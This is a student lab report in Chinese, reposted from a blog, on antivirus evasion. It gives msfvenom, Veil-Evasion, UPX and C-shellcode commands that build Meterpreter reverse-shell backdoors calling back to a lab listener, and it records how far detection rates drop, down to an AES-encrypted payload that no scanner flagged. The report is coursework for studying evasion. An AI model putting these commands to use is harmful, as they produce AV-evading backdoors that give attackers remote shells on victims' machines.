Exp3-免杀原理
作者:互联网
Exp3-免杀原理
基础问题回答
(1)杀软是如何检测出恶意代码的?
杀软工程师将一些恶意软件提取特征码发布到病毒库中,用户更新病毒库就相当于更新了特征码库。
杀毒软件在杀毒过程中把当前检测样本文件特征码与病毒库中病毒特征码进行比对,特征码相同则报毒并且查杀,否则进行更多的处理。
(2)免杀是做什么?
通过一些手段来瞒过杀软的检测扫描,避免被杀毒软件查杀,并能成功控制被植入机。
(3)免杀的基本方法有哪些?
对恶意代码进行加壳、用其他语言或编译器进行再编译,利用shellcode进行编码,减少对系统的修改,多在内存里进行操作,多使用反弹式的连接。
(4)开启杀软能绝对防止电脑中恶意代码吗?
杀软不能绝对防止电脑中恶意代码。假如杀软的病毒库中如果没有记录该特征片段,或着没有检测该恶意代码的有效手段则无法检测到该恶意代码,就不能及时杀掉电脑中的恶意代码。
免杀测试平台:https://www.virustotal.com/
实践内容
1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
检测直接生成的后门程序(实验二中的后门程序)
检出率为53/68
接着使用Unicode对后门程序编码一次
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.0.133 LPORT=11310 -f exe > backdoor1.exe
用测试平台进行检测如下
检出率为54/70,发现检出率并没有下降
进行多次编码(此处采用我学号的序号19来进行编码)
编码会降低检出率,理论上讲多编码几次,可降低被检测出的可能性
一次编码使用命令:-e选择编码器,-b是payload中需要去除的字符,该命令中为了使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符
使用代码:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -i -19 -b ‘\x00’ LHOST=192.168.0.133 LPORT=11310 -f exe > backdoor2.exe
-e选择编码器
-b是payload中需要去除的字符:该命令中为了使'\x00'不出现在shellcode 中,因为shellcode以'\x00'为结束符
-i设置迭代次数
进行检测
检出率还是54/70,发现还是没有什么变化!
利用php格式文件
使用代码:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.133 LPORT=11310 x> backdoor_php.php
通过测试平台进行检测
检出率为21/57,相比之前明显降低了很多
利用jar格式文件
使用代码:
msfvenom -p java/shell_reverse_tcp LHOST=192.168.0.133 LPORT=11310 -f jar > backdoor_jar.jar
进行检测:
检出率为32/59,也有所降低
2.veil,加壳工具实践
首先进行安装
sudo apt-get install veil-evasion
下载成功后,修改setup.sh:
sudo su
cd /usr/share/veil/config
vim setup.sh
修改第260行为如下内容:
修改完成后输入veil
进行安装。
接着会弹出安装窗口,一直next下去就行。
使用veil工具
veil
use evasion //进入Evil—Evasion
use c/meterpreter/rev_tcp.py //进入配置界面
set LHOST 172.16.222.229 //设置反弹链接ip,此处为Kali的ip
set LPORT 11310 //设置端口
generate
20191219veil //设置生成的文件(名称)
该生成文件的路径为/var/lib/veil/output/compiled/20191219veil.exe
检测该文件:
检出率为40/69,对比发现检出率还是很高
免杀加壳尝试
加壳是对相应的资源进行压缩,压缩后仍可运行。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
它可以用来保护版权,但同时许多病毒也利用它来作为原理。
使用代码:
upx 20191219veil.exe -o 20191219_veil_upx.exe
发现生成了更小的新文件
对新文件进行检测:
检出率为32/61,可以发现加壳之后检出率稍微下降了一点
3.使用C + shellcode编程
首先使用msfvenom得到shellcode
使用代码:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.40 LPORT=11310 -f c
接着编辑c文件把shellcode代码写入
vim shellcode_c.c
编译成可执行文件
使用代码:
i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe
对恶意代码进行检测:
检出率为34/69,可以看到检出率有下降
4.通过组合应用各种技术实现恶意代码免杀
利用python+aes_encrypt
veil //打开veil
use Evasion //使用Evasion
list //寻找palyload
看到第28,29行
接着输入
use python/shellcode_inject/aes_encrypt.py
generate
2
给出相应的参数设置端口信息等,生成文件
文件路径为:/usr/share/veil/veil.py
进行检测:
没有检出!
这里的原理是使用了数据加密的方式进行多次编译后门软件
附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功
KALI虚拟机开启msfconsole
进行监听
在主机运行后门软件后成功获得shell
但是其实以上是基于杀软已经关闭的基础上,所以实际上并没有成功
标签:exe,免杀,Exp3,veil,检出率,检测,恶意代码,原理,shellcode 来源: https://www.cnblogs.com/leitianrong/p/16112555.html